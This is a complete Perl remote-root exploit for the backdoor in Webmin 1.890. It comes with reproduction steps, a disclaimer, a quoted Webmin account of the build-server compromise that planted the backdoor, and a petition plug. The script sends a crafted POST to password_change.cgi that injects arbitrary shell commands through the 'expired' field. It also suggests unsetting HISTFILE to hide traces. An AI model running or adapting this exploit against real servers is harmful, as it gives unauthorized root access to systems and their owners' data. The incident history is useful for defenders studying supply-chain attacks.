Webmin version 1.890 (based on 1.920 research) expired remote root exploit.
a6a036a769a8e7b287b106998aecc0d0606fab73f1bcd56db60804eebb9820a9
#!/usr/bin/perl -w
#
# Webmin 1.890 (based on 1.920 research) 'expired' Remote Root Exploit
#
# Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
# Installation on CentOS:
# rpm -ivh https://sourceforge.net/projects/webadmin/files/webmin/1.890/webmin-1.890-1.noarch.rpm/download
#
# Disclaimer:
# This or previous programs are for Educational purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages
# caused by direct or indirect use of the information or functionality provided by these programs.
# The author or any Internet provider bears NO responsibility for content or misuse of these programs
# or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss,
# system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's
# responsibility.
#
# Use them at your own risk!
#
#
# Tested on CentOS
#
# Reproducing:
# [root@localhost ~]# rpm -ivh https://sourceforge.net/projects/webadmin/files/webmin/1.890/webmin-1.890-1.noarch.rpm/download
# ......
# [root@localhost ~]# sed -i s/passwd_mode=0/passwd_mode=2/g /etc/webmin/miniserv.conf
#
# Restart Webmin and test the exploit..
#
# [test@localhost ~]$ perl webmin.pl localhost 10000 id
# [ Webmin 1.890 (based on 1.920 research) 'expired' Remote Root Exploit
# [ ====================================================================
# [ First time released at Defcon. Thank you guys, for all..
# [ Exploit by: Todor Donev <todor.donev@gmail.com>
# [ ====================================================================
# [ Usage: webmin.pl <host> <port> <command>
# [ e.g. webmin.pl localhost 10000 "unset HISTFILE;uname -a;id;uptime"
# [+] Target: localhost
# [+] Server: MiniServ/1.890
# uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:system_r:initrc_t:s0
# [test@localhost ~]$
#
#
# ATTENTION !! ATTENTION !! ATTENTION !! ATTENTION !! ATTENTION !!
#
# Guys, please give a star to https://github.com/otvorete/petition
# to support the cause of the Bulgarian Hackers (Developers) Community.
# We want to makes our Electronic Government more securŠµ, transparent
# and reliable. For this reason we want from our government to open
# the source codes of the applications. So support us with a star,
# please..
#
# Special thanks to Konstantin Spirov that starting the cause!!
#
#
#
# Very smart but easy to found it:
#
# Webmin 1.920 - Backdoor
# o [root@localhost ~]# find /usr/libexec/webmin -type f -name "*.cgi" -exec grep --color -H "qx/" {} \;
# /usr/libexec/webmin/password_change.cgi: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
#
# Webmin 1.890 - Backdoor
# o [root@localhost ~]# find /usr/libexec/webmin -type f -name "*.cgi" -exec grep --color -H "qx/" {} \;
# /usr/libexec/webmin/password_change.cgi:$in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;
#
#
# This function (qx) is a alternative to using back-quotes to execute system commands.
# For example, qx(ls -l) will execute the UNIX ls command using the -l command-line
# option. You can actually use any set of delimiters, not just the parentheses.
# This function returns the value from the executed system command.
#
#
# Webmin 1.890 Exploit - What Happened?
#
# Webmin version 1.890 was released with a backdoor that could allow anyone with knowledge
# of it to execute commands as root. Versions 1.900 to 1.920 also contained a backdoor using
# similar code, but it was not exploitable in a default Webmin install. Only if the admin had
# enabled the feature at Webmin -> Webmin Configuration -> Authentication to allow changing of
# expired passwords could it be used by an attacker.
#
# Neither of these were accidental bugs - rather, the Webmin source code had been maliciously
# modified to add a non-obvious vulnerability. It appears that this happened as follows :
#
# o At some time in April 2018, the Webmin development build server was exploited and a
# vulnerability added to the password_change.cgi script. Because the timestamp on the
# file was set back, it did not show up in any Git diffs. This was included in the Webmin
# 1.890 release.
#
# o The vulnerable file was reverted to the checked-in version from Github, but sometime
# in July 2018 the file was modified again by the attacker. However, this time the exploit
# was added to code that is only executed if changing of expired passwords is enabled.
# This was included in the Webmin 1.900 release.
#
# o On September 10th 2018, the vulnerable build server was decomissioned and replaced with
# a newly installed server running CentOS 7. However, the build directory containing the
# modified file was copied across from backups made on the original server.
#
# o On August 17th 2019, we were informed that a 0-day exploit that made use of the
# vulnerability had been released. In response, the exploit code was removed and Webmin
# version 1.930 created and released to all users.
#
# In order to prevent similar attacks in future, we're doing the following :
#
# o Updating the build process to use only checked-in code from Github, rather than a local
# directory that is kept in sync.
#
# o Rotated all passwords and keys accessible from the old build system.
#
# o Auditing all Github checkins over the past year to look for commits that may have
# introduced similar vulnerabilities.
#
#
#
# SOURCE: https://webmin.com/exploit.html
#
# If the exploit not works, please install these packages from CPAN with this command:
#
# cpan install HTTP::Request WWW:UserAgent::Random LWP::UserAgent
#
#
# To Webmin developers:
# Guys, I think it's will be better Webmin to log POST parameters by default.. ;)
#
#
#
use strict;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;
my $host = shift || 'localhost';
my $port = shift || '10000';
my $cmd = shift || 'uname -a;id;uptime';
$cmd =~ s/\|/\;/g;
print "[ Webmin 1.890 (based on 1.920 research) 'expired' Remote Root Exploit\n";
print "[ ====================================================================\n";
print "[ First time released at Defcon. Thank you guys, for all..\n";
print "[ Exploit by: Todor Donev <todor.donev\@gmail.com>\n";
print "[ ====================================================================\n";
print "[ Usage: $0 <host> <port> <command>\n";
print "[ e.g. $0 localhost 10000 \"unset HISTFILE;uname -a;id;uptime\"\n";
my $user_agent = rand_ua("browsers");
my $browser = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
$browser->timeout(60);
$browser->agent($user_agent);
my $target = "https://".$host.":".$port."/password_change.cgi";
my $request = HTTP::Request->new (POST => $target,
[ Content_Type => "application/x-www-form-urlencoded" ,
Referer => "https://".$host.":".$port."/session_login.cgi" ],
"user=gotroot&pam=&expired=2|echo -n OWNED;$cmd;echo -n OWNED&old=gotroot&new1=gotroot&new2=gotroot");
$request->header("Cookie" => "redirect=1; testing=1; sid=x; sessiontest=1;");
my $content = $browser->request($request);
if ($content->as_string() =~ m/OWNED(.*?)OWNED/s){
printf(STDOUT "[+] Target: %s\n[+] Server: %s\n%s", $host, $content->server() ,$1);
exit;
} else {
printf(STDOUT "[-] Not OWNED.. Exploit failed! :((\n");
exit;
}